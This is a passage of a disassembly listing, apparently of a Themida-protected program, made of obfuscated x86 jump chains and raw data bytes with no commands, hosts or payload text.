		dd 5C241C87h, 4EC81h, 1C890000h, 2BB24h, 0B3E90000h
		db 0AAh, 2 dup(0FFh)
byte_58D223	db 68h			; DATA XREF: Themida_:005843BCo
		dd 2D74h, 68242C89h, 4C9h, 8B240489h, 2BE9242Ch, 81FFFFECh
		dd 0D9449BC2h, 0E9FA017Ah, 0FFFFD793h
; ---------------------------------------------------------------------------


loc_58D248:				; CODE XREF: Themida_:0058E9D9j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58FF01
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 4EC8100h, 89000000h, 4B9240Ch,	29000000h, 99F7E9CBh
		dd 0C681FFFFh, 394C1B27h, 140DE953h, 89660000h,	0ED682434h
		dd 89000060h, 0B8662404h, 0C1665538h, 836606E8h, 2D66FFC0h
		dd 89668A13h, 296658C6h, 0E95E66F0h, 2A9Dh, 242C335Bh
		dd 33242C31h, 665C242Ch, 6866E9F7h, 8966539Fh, 50662414h
		dd 1EF5E99Ch, 0B4BA0000h, 837A7C14h, 1C8904ECh,	6F3BB24h
		dd 0DA312CA1h, 43F2815Bh, 156DD12h, 80685AD3h, 89000077h
		dd 2B9240Ch, 29000000h,	44E959CBh, 56FFFFF6h, 2BEh, 0B37FE900h
		dd 0E949FFFFh, 0FFFF8F7Fh, 0D6F38159h, 51400558h, 0AE1428B9h
		dd 0F040E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D31A:				; CODE XREF: Themida_:00585540j
		add	esp, 4
		push	492h
		mov	[esp], edx
		mov	edx, ebp
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	7E0Ch
		jmp	loc_58FBDC
; ---------------------------------------------------------------------------
		db 0B2h, 23h, 0
		dd 0AA05E9D0h
		db 2 dup(0FFh)
word_58D34E	dw 77FFh		; DATA XREF: Themida_:00584404o
		dd 58669D1Ch, 24041966h, 7115E99Ch, 8966FFFFh, 0B7532414h
		dd 0C4FE905h, 895C0000h, 0AFE92424h, 1000000h, 0BD555BDAh
		dd 25E2684Eh, 815DEA21h, 935AD6E2h, 0E9D2F743h,	0FFFF7599h
		dd 7E1C34BFh, 0EF814722h, 0DF78173Eh, 0FF5FFA29h, 515D2434h
		dd 0FF9007E9h, 243489FFh, 2BEh,	8BF50100h, 5DE92434h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D3B7:				; CODE XREF: Themida_:0058A007j
		push	664h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_590600
; ---------------------------------------------------------------------------
		dd 0F570F781h, 372DF7FEh, 1479464h, 0E9B1E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D3DE:				; CODE XREF: Themida_:005891D0j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_584FF0
; ---------------------------------------------------------------------------


loc_58D3ED:				; CODE XREF: Themida_:00588EAFj
		xor	[esp+4], edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_586CFF
; ---------------------------------------------------------------------------


loc_58D3FA:				; CODE XREF: Themida_:00589BE2j
		pop	esp
		and	eax, edx
		jmp	loc_58E73F
; ---------------------------------------------------------------------------


loc_58D402:				; CODE XREF: Themida_:00587BE9j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_589606
; ---------------------------------------------------------------------------


loc_58D418:				; CODE XREF: Themida_:0058FA7Fj
		mov	edi, 227B3355h
		jmp	loc_585D8C
; ---------------------------------------------------------------------------
		dw 483h
		dd 148B0424h, 4C48124h,	81000000h, 4C2h, 2C28300h, 0FFF45CE9h
		dd 7031E9FFh, 0E955FFFFh, 0FFFFC8EFh, 8158C329h, 0E72A1EC3h
		dd 81C32938h, 0E72A1EEBh, 0BE565038h, 1933BB6h,	0D5F7EE87h
		dd 0BC6AE956h, 421FFFFh, 0E99C24h, 0B9FFFF70h, 0F0E0A7Ah
		dd 8159CD01h, 4292CEDh,	81F50126h, 4292CC5h, 0ECB2E926h
		dd 0CE87FFFFh, 0CE87D9F7h, 0FFFAC7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D499:				; CODE XREF: Themida_:00589F6Dj
		mov	esp, [esp]
		push	0D28h
		mov	[esp], ebx
		push	51D1h
		mov	[esp], ecx
		mov	ecx, 2E7E03A5h
		jmp	loc_58D720
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 4B95158h, 1000000h, 3C8759CFh, 0E151E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D4CA:				; CODE XREF: Themida_:005848ADj
		sub	dword ptr [edi+20h], 507021FFh
		jmp	loc_58C803
; ---------------------------------------------------------------------------


loc_58D4D6:				; CODE XREF: Themida_:0058B7CDj
		push	7D670042h
		pop	edi
		add	edi, 10BE4A42h
		and	edi, 9E82E07h
		not	edi
		add	edi, 8200A09h
		mov	ebp, edi
		jmp	loc_58CF9A
; ---------------------------------------------------------------------------


loc_58D4F7:				; CODE XREF: Themida_:0058C9F5j
		push	ebx
		mov	ebx, 115344FDh
		push	ebp
		mov	ebp, 3B152A52h
		or	ebp, 2DA1008Fh
		shl	ebp, 8
		inc	ebp
		sub	ebp, 480067B7h
		jmp	loc_5901B3
; ---------------------------------------------------------------------------
		dd 4C58158h, 0E9000000h, 0FFFFEFA1h, 0CD8083B5h, 9ED8097h
		dd 0CEC580h, 0C82859E8h, 59665C2Ch, 0BBE9F12Ch,	1000013h
		dd 7BC381CBh, 5905743Ah, 0FFE96CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D54D:				; CODE XREF: Themida_:0058BEB4j
		add	eax, 74331ECFh
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58B4E1
; ---------------------------------------------------------------------------
dword_58D568	dd 51240C8Bh, 0F675E954h, 6DBBFFFFh, 0F7723F65h, 92F381DBh
					; DATA XREF: Themida_:005842DCo
		dd 898DC09Ah, 0C2815BDFh, 461F3CBCh, 0FFCAA5E9h, 243433FFh
		dd 33243431h, 248B2434h, 4896624h, 6ED1E924h, 0EB80FFFFh
		dd 68EB80CEh, 85E9DA30h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D5AF:				; CODE XREF: Themida_:00584ACBj
		neg	ebp
		add	ebp, 97FA4DEEh
		sub	eax, ebp
		pop	ebp
		sub	eax, ebp
		add	eax, 409C0969h
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_586D0D
; ---------------------------------------------------------------------------


loc_58D5CA:				; CODE XREF: Themida_:0058E51Aj
		add	ebp, 4
		add	ebp, 4
		push	4AC9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5872F8
; ---------------------------------------------------------------------------
		dd 0D04E8C1h, 15DC547Ch, 0AB420905h, 0E9C101E3h, 0FFFFF583h
		dd 6E6DE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D606:				; CODE XREF: Themida_:0058A4FEj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58C114
; ---------------------------------------------------------------------------


loc_58D617:				; CODE XREF: Themida_:0058522Aj
		xor	[esp], ebx
		jmp	loc_58927F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 6E4DE930h, 0C781FFFFh, 7B7F43D0h, 0EF81C701h, 7B7F43D0h
		dd 0FF94F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D639:				; CODE XREF: Themida_:0058572Cj
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		add	eax, 74A226A6h
		push	edi
		mov	edi, 26367756h
		jmp	loc_58605F
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0E9h
		dd 0FFFF82ECh, 1DF268h,	24048900h, 5D2434FFh, 5504C483h
		dd 242C8B5Ah, 0FFE4CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D67D:				; CODE XREF: Themida_:0058742Dj
		xor	eax, [esp]
		pop	esp
		jmp	loc_58EA00
; ---------------------------------------------------------------------------
		dw 0E8E9h
		db 6Dh,	2 dup(0FFh)
byte_58D68B	db 8Bh			; DATA XREF: Themida_:00584300o
		dd 0E0E92424h, 68FFFF6Dh, 0E39h, 89243C89h, 2F0868E7h
		dd 2C890000h, 2FDCBD24h, 0B85031EFh, 311731FEh,	5358C531h
		dd 72189EBBh, 0EB814369h, 4D33510Bh, 0A235F381h, 0BE561640h
		dd 1A801160h, 0FFB225E9h, 8BE830FFh, 8953240Ch,	4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 8024248Bh, 0C3801EEBh, 0D6B4502Bh
		dd 0B806E951h, 0E952FFFFh, 0FFFFDC9Fh
; ---------------------------------------------------------------------------


loc_58D700:				; CODE XREF: Themida_:005900FCj
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_58EE36
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFE669h, 4240483h, 0FFED47E9h, 0E95550FFh, 0FFFFDBEAh
; ---------------------------------------------------------------------------


loc_58D720:				; CODE XREF: Themida_:0058D4B1j
		shr	ecx, 3
		jmp	loc_5904F8
; ---------------------------------------------------------------------------
		dd 7620C168h, 7E05581Eh, 560A93Bh, 3CFA277Fh, 2508E9h
		dd 4C116800h, 3C890000h, 0B8505324h, 4CF01751h,	0F76EA3BBh
		dd 58C329BCh, 61FF381h,	0BA52371Dh, 28E5490Dh, 0E2C14A4Ah
		dd 7C26E902h, 0D800FFFFh, 0FFD58BE9h, 243C8BFFh, 8104C483h
		dd 0A90082C7h, 55DF011Eh, 0FF9A99E9h, 0F6CAFEFFh, 80C2FED2h
		dd 0EA80CDF2h, 8BD3884Fh, 0C4832414h, 0B1C38004h, 797568h
		dd 24148900h, 0FBE958B2h, 83000024h, 0C33104C4h, 24148B66h
		dd 68BA6856h, 8F540000h, 4812404h, 424h, 2434FF00h, 4C4835Eh
		dd 4C681h, 66680000h, 0E9000069h, 0FFFF9069h
; ---------------------------------------------------------------------------


loc_58D7DC:				; CODE XREF: Themida_:0058A307j
		sub	esi, 247155CAh
		jmp	loc_58C6E0
; ---------------------------------------------------------------------------
byte_58D7E7	db 66h			; DATA XREF: Themida_:005843C0o
		dd 0E924048Bh, 0FFFF9493h, 0C681E689h, 4, 7487E955h, 0FE00FFFFh
		dd 5CB3535Bh, 803BC380h, 0EBC011E3h, 46E38005h,	0FFCB35E9h
		dd 242C8BFFh, 0FFD738E9h, 2EFC1FFh, 8C9E9h, 0E9E38900h
		dd 11E7h
; ---------------------------------------------------------------------------


loc_58D82C:				; CODE XREF: Themida_:0058C210j
		pop	ebp
		push	0EC0h
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 1F442A6Dh
		xor	edi, 10006ACDh
		jmp	loc_58A60C
; ---------------------------------------------------------------------------
		dd 207EB850h, 0E9404D54h, 0FFFFEEDFh, 4BEh, 5EF10100h
		dd 6802C183h, 4F1h, 0FFEF24E9h,	24248BFFh, 0FF04C483h
		dd 68592434h, 2990h, 0FF7DF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D87D:				; CODE XREF: Themida_:00585368j
		neg	ecx
		shr	ecx, 5
		sub	ecx, 0CE8AA9EEh
		xor	eax, ecx
		pop	ecx
		xor	[esp+4], eax
		push	dword ptr [esp]
		jmp	loc_58CEE9
; ---------------------------------------------------------------------------
		db 51h
		dd 1171B850h, 0FF057B4Fh, 552E320Fh, 654986BDh,	0B0C58120h
		dd 814D5465h, 0CE6815EDh, 0A3EE9D0h, 0D5F70000h, 4D01ED83h
		dd 17B2E9h, 0A8E95C00h,	81FFFF6Bh, 0FFFFFFEDh, 51DDF7FFh
		dd 0F763ABB9h, 74C58157h, 12BCC0Eh, 74ED81CDh, 592BCC0Eh
		dd 0FF9A75E9h, 8B0BBFFh, 0DF29D8DCh, 0C37FE95Bh, 1433FFFFh
		dd 24143124h, 8B241433h, 0F662424h, 9C2404BBh, 0FF79D7E9h
		dd 0FF525DFFh, 8B042474h, 9EE92414h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D91F:				; CODE XREF: Themida_:0058953Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		jmp	loc_587432
; ---------------------------------------------------------------------------
dword_58D930	dd 0E92434FFh, 0FFFF9C7Dh, 5D96CB81h, 0E3C17A07h, 84F38106h
					; DATA XREF: Themida_:00584260o
		dd 185D76Fh, 68505BDEh,	2, 8124048Bh, 4C4h, 58C60100h
		dd 5C243487h, 0F66F9F6h, 6866CCB6h, 89664BBDh, 0F66240Ch
		dd 5166C8B6h, 6AF9E99Ch
		db 2 dup(0FFh)
aNs2		db '­é2%',0             ; DATA XREF: Themida_:005843E0o
		align 10h
		dd 0F1C0905h, 0FDBA5232h, 512FB3F2h, 51C9BA52h,	0EAC155FDh
		dd 0DEF28102h, 0E93F3B47h, 0FFFFF807h, 93E9E5D0h, 89FFFFA2h
		dd 0C14958C1h, 0E1C102E1h, 0D0B85007h, 0E92EF41Ah, 0FFFFFC30h
; ---------------------------------------------------------------------------


loc_58D9BC:				; CODE XREF: Themida_:0058DADEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dd 8F04C483h, 248B2404h, 0CFE5E924h, 489FFFFh, 516BB424h
		dd 0E980C9B1h, 0A297E989h, 481FFFFh, 97648B24h,	2404811Fh
		dd 46DC7A8Ch, 81240401h, 7A8C242Ch, 685046DCh, 1F97648Bh
		dd 793FE958h, 0E530FFFFh, 9D8AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DA16:				; CODE XREF: Themida_:0058FF5Ej
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_58B7CC
; ---------------------------------------------------------------------------
byte_58DA31	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00584334o
		dd 0FF7E95E9h, 0DFEE81FFh, 817D9859h, 8E1EE2EEh, 34335F6Bh
		dd 24343124h, 8B243433h, 0D0E92424h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DA57:				; CODE XREF: Themida_:0058CDC7j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5845A8
; ---------------------------------------------------------------------------


loc_58DA8B:				; CODE XREF: Themida_:0058FFE2j
		mov	esi, 64EB1EE6h
		and	esi, 7C167DC9h
		xor	esi, 5DF00B0Ah
		xor	esi, 2ACC6C60h
		xor	eax, esi
		pop	esi
		neg	eax
		add	eax, 1
		xor	eax, 133AF0BBh
		mov	ebp, eax
		jmp	loc_58DFC0
; ---------------------------------------------------------------------------
		dd 26EB814Bh, 31A0E721h, 9543E9D8h, 8BBAFFFFh, 0F75BBC17h
		dd 0D511E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DAD2:				; CODE XREF: Themida_:0058F70Cj
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_58D9BC
; ---------------------------------------------------------------------------


loc_58DAE3:				; CODE XREF: Themida_:0058AF8Cj
		dec	eax
		push	ecx
		push	291D0004h
		pop	ecx
		shr	ecx, 6
		inc	ecx
		push	edi
		mov	edi, 25BC52A4h
		neg	edi
		jmp	loc_58535C
; ---------------------------------------------------------------------------
		dd 28BF5758h, 81054219h, 421926EFh, 76C1E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DB0E:				; CODE XREF: Themida_:00589396j
		xor	ebx, 0EFEDDDFFh
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_584BE5
; ---------------------------------------------------------------------------


loc_58DB29:				; CODE XREF: Themida_:0058FF7Aj
		sub	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58C9E9
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 5
		dd 0FFE074E9h, 1C875EFFh, 24248B24h, 9C240CFFh,	0FFAD49E9h
		dd 240487FFh, 4C5815Ch,	0E9000000h, 0FFFFB26Ah,	0E95EF589h
		dd 0FFFF7E41h
dword_58DB74	dd 240C8B66h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
					; DATA XREF: Themida_:005841F4o
		dd 0FB682404h, 89000063h, 4812424h, 424h, 4055800h, 53000000h
		dd 0FFC967E9h, 5FEDBDFFh, 0B5E93CBAh, 0BAFFFFCBh, 702519BFh
		dd 0FFF3CDE9h
		db 0FFh
byte_58DBBD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00584414o
		dd 81240C8Bh, 4C4h, 8B545300h, 0C483241Ch, 4C38104h, 52000000h
		dd 0C0F6FBAh, 62CA816Fh, 0F75C092Fh, 95F281DAh,	8180F2D0h
		dd 0D47457C3h, 0CE9E96Dh, 1C890000h, 0BE565724h, 2, 89F28952h
		dd 895E5AD7h, 6A055FFBh, 163321Ah, 0A50DE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DC16:				; CODE XREF: Themida_:005851E8j
		add	ah, 5Dh
		add	ah, 0F0h
		jmp	loc_58AAE7
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 91h
		dd 80FFFF69h, 0D088C5C2h, 0C388535Ah, 0E95BD988h, 0FFFFA2DBh
; ---------------------------------------------------------------------------


loc_58DC38:				; CODE XREF: Themida_:00585A03j
		add	esp, 4
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_58EDEF
; ---------------------------------------------------------------------------
		dd 3004C0FEh, 0E94DEB80h, 0FFFFA843h, 3302C083h, 4312404h
		dd 24043324h, 0EC83565Ch, 24148904h, 0FFD486E9h, 83E94EFFh
		dd 59FFFFFAh, 0E6C1E955h, 0DA01FFFFh, 81241C8Bh, 4C4h
		dd 6CE1E900h, 0EBC1FFFFh, 6EBC102h, 5A03EB81h, 17E9507Eh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DC9F:				; CODE XREF: Themida_:0058A3F9j
		pop	esp
		xchg	esi, [esp]
		jmp	loc_58E656
; ---------------------------------------------------------------------------


loc_58DCA8:				; CODE XREF: Themida_:0058E320j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58AD85
; ---------------------------------------------------------------------------
		dd 502E8C1h, 16C0482Bh,	92ABE940h, 0CA29FFFFh, 0FFA7FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DCD1:				; CODE XREF: Themida_:0058F5ABj
		push	2B512F9Dh
		jmp	loc_58E9EF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0E9240433h, 0FFFF6A0Bh, 0CBE92CB7h, 0E9000029h
		dd 0FFFF677Bh, 0E904C183h, 218Eh, 0E981D1F7h, 7E731FC3h
		dd 85F18141h, 81715D67h, 6C5C3CC1h, 59CE89F3h, 0B00BC681h
		dd 0F289B814h, 5AD6015Eh, 0FFBCBBE9h
		db 0FFh
byte_58DD29	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0058431Co
		dd 40E99C24h
		db 67h,	2 dup(0FFh)
byte_58DD33	db 66h			; DATA XREF: Themida_:005841BCo
		dd 53240C8Bh, 0C3815B54h, 4, 4EC81h, 14890000h,	1B685124h
		dd 0FF1C4F4Ah, 0E9592434h, 0FFFFD82Ah
; ---------------------------------------------------------------------------


loc_58DD58:				; CODE XREF: Themida_:0058A47Bj
		mov	esi, [esp]
		add	esp, 4
		neg	edi
		inc	edi
		xor	edi, 0BC29CC70h
		jmp	loc_587574
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 8B662424h, 6CE92404h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DD7B:				; CODE XREF: Themida_:00584E60j
		pop	edx
		xor	eax, 5D162E3Ah
		sub	eax, 0D90CA4C6h
		and	ecx, eax
		push	dword ptr [esp]
		jmp	loc_58A006
; ---------------------------------------------------------------------------


loc_58DD90:				; CODE XREF: Themida_:0058E721j
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 79E170DBh
		sub	esi, 0D3E0260h
		shr	esi, 6
		shr	esi, 1
		sub	esi, 0EE313532h
		mov	ebx, esi
		pop	esi
		and	ebx, 2E0B7FF5h
		jmp	loc_586A9A
; ---------------------------------------------------------------------------
		align 2
		dw 5AF4h
aIus		db 'ˆãéµ%',0
		dw 6600h
		dd 0E92825BAh, 0FFFFEB47h, 89241489h, 78BB53E2h, 81708908h
		dd 76F78CC3h, 7ED9E98Fh, 2C89FFFFh, 0EAB95124h,	890D7678h
		dd 240C8BCDh, 2053E9h, 64C3BA00h, 0C2316FA7h, 7EAC158h
		dd 0FF857BE9h, 8BD328FFh, 0C4832414h, 5BD80004h, 8017B551h
		dd 0ED80A4E5h, 0E9E80046h, 0FFFFE133h, 0CC80CCFEh, 0E9CCFED7h
		dd 14BAh
; ---------------------------------------------------------------------------


loc_58DE2C:				; CODE XREF: Themida_:00588BA9j
		push	ebx
		mov	ebx, 6D872C5Ah
		and	ebx, 664110A1h
		jmp	loc_58A778
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 51555BD9h,	0FF6EABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DE4D:				; CODE XREF: Themida_:00585650j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		jmp	loc_58FEFB
; ---------------------------------------------------------------------------
		dw 0D3BBh
		dd 0E9510611h, 0FFFF9AADh, 2BFh, 5FF90100h, 31240C33h
		dd 0C33240Ch, 24248B24h, 9C243CD3h, 0FFEC23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DE89:				; CODE XREF: Themida_:0058BB8Fj
		push	ecx
		push	78657E75h
		pop	ecx
		mov	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 7F153D61h
		and	ebp, edx
		jmp	loc_58F3D0
; ---------------------------------------------------------------------------
		dd 3E58A505h, 42672D5Bh, 0E95E7717h, 0FFFF9118h, 51241C89h
		dd 0FF036EB9h, 8AD9E90Fh, 902DFFFFh, 8B637F57h,	0ACE92414h
		dd 30FFFFF0h, 505B66F8h, 0FF9062E9h, 240489FFh,	0FFB1ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DEDD:				; CODE XREF: Themida_:005874FFj
		add	esp, 4
		sub	bl, cl
		pop	ecx
		push	59B8h
		jmp	loc_585312
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0E1E90000h, 31FFFF8Ah, 3C33243Ch, 24248B24h,	24042966h
		dd 6569E99Ch, 0C681FFFFh, 41744707h, 2AC6F681h,	0E6C13EF6h
		dd 0CB77E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DF1E:				; CODE XREF: Themida_:005895CDj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	esi
		jmp	loc_58EF0B
; ---------------------------------------------------------------------------
		db 4Fh
		dd 8105E7C1h, 7C705EC7h, 0CF814F7Eh, 16C3231Ah,	0FFC641E9h
		dd 5AD701FFh, 0FFBAF8E9h, 0C7815FFFh, 22887672h, 0F9E7815Bh
		dd 814E7954h, 1445C5C7h, 5FFB8974h, 0FFC6E3E9h,	75235FFh
		dd 0FF662EA6h, 64F5E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DF7E:				; CODE XREF: Themida_:00588B3Aj
		mov	esi, esp
		add	esi, 4
		push	ebx
		push	eax
		push	5B9D7662h
		pop	eax
		add	eax, 0A46289A2h
		mov	ebx, eax
		pop	eax
		sub	esi, 36AF5CB9h
		add	esi, ebx
		jmp	loc_5901E0
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7C625870h, 0FFF89BE9h, 53595BFFh, 50C68852h,	0FFABD6E9h
		dd 0E9CFFEFFh, 0FFFFCD2Fh
; ---------------------------------------------------------------------------


loc_58DFC0:				; CODE XREF: Themida_:0058DAB3j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_586EA6
; ---------------------------------------------------------------------------


loc_58DFC9:				; CODE XREF: Themida_:0058BC78j
		xchg	ebx, [esp]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C784
; ---------------------------------------------------------------------------
byte_58DFE3	db 0FFh			; DATA XREF: Themida_:00584328o
		dd 53582434h, 241C8B54h, 4C481h, 0D5680000h, 8900004Ch
		dd 0E9532434h, 0FFFF7901h
; ---------------------------------------------------------------------------


loc_58E000:				; CODE XREF: Themida_:005903D1j
		mov	edx, ebp
		pop	ebp
		jmp	loc_5891C3
; ---------------------------------------------------------------------------


loc_58E008:				; CODE XREF: Themida_:00585C7Dj
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_58FA5F
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 230B71A2h, 2EE9C301h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E01F:				; CODE XREF: Themida_:0058FEFCj
		xchg	ebx, [esp]
		jmp	loc_587161
; ---------------------------------------------------------------------------
		db 52h
		dd 0EA80CCB2h, 57B3537Bh, 0F6D8CB80h, 25A8E9DBh, 0EC830000h
		dd 24048904h, 0FF8408E9h, 85E581FFh, 815B0E6Bh,	5D6054C5h
		dd 5DE9010Dh, 0E981C101h, 156369D8h, 4EAEC181h,	0C18163CDh
		dd 2663767h, 0FFFA8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E06D:				; CODE XREF: Themida_:00586912j
		mov	ecx, 4
		sub	esi, 357C7E01h
		add	esi, ecx
		jmp	loc_5850EE
; ---------------------------------------------------------------------------
		db 81h
		dd 54BD2404h, 2D5871CCh, 71CC54BDh, 0FFA1FAE9h,	9A568FFh
		dd 1C890000h, 2BB24h, 0D9890000h, 0CAEE815Bh, 171A842h
		dd 67B6E9CEh, 2C89FFFFh, 64CDE924h, 8966FFFFh, 0BA662414h
		dd 29661FBEh, 0F5A66D3h, 0E468C0B7h, 8900002Dh,	0E189240Ch
		dd 4C181h, 0E9810000h, 4, 0FF7F14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E0E1:				; CODE XREF: Themida_:005898A6j
		mov	esp, [esp]
		push	383h
		jmp	loc_5892DE
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 486F3473h, 1B8BE781h, 0D7F73891h, 0FFF2CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E101:				; CODE XREF: Themida_:0058CC23j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58F8ED
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4C38300h, 0FF894FE9h, 0C2015EFFh, 8324048Bh
		dd 0C28104C4h, 2, 5C241487h, 9C2404D2h,	0FF6332E9h, 62E950FFh
		dd 0B9000002h, 1CE20068h, 6CF181h, 0CB011CE2h, 2BD5559h
		dd 1000000h, 242C8BEBh,	0FFA496E9h, 7AC268FFh, 0E95924D9h
		dd 0FFFFAFEEh, 0FF1C7709h, 348B2434h, 4C48124h,	83000000h
		dd 0ECE904C4h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E187:				; CODE XREF: Themida_:0058B86Bj
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_5892C2
; ---------------------------------------------------------------------------
		db 0BFh, 23h, 57h
		dd 0F78166B7h, 66B75727h, 15FF989h, 0C28359CAh,	74FF5204h
		dd 8F5A0424h, 575C2404h, 0C781E789h, 4,	8704C783h, 815C243Ch
		dd 4C4h, 49D26800h, 14890000h, 0F9DDE924h, 2B7FFFFh, 0FFE769E9h
		db 0FFh
byte_58E1DD	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005842B4o
		dd 0EC835166h, 24148904h, 0FF997EE9h, 0E95341FFh, 0FFFF7461h
		dd 4BAh, 95E98100h, 155E95Bh, 95BE56D1h, 155E95Bh, 30E95EF1h
		dd 87FFFF88h, 248B2414h, 0EBF6E924h, 4CB9FFFFh,	68060A5Bh
		dd 0FCAh, 87240C89h, 0D1F7240Ch, 2474FF51h, 48F5904h, 49E95924h
		dd 81FFFFE3h, 77C134C7h, 0D260E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E246:				; CODE XREF: Themida_:005885A1j
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		and	esi, 1C29550Bh
		jmp	loc_58AD98
; ---------------------------------------------------------------------------
		db 88h
		dd 2434FFFAh, 0FFD800E9h
		db 0FFh
byte_58E261	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005842ACo
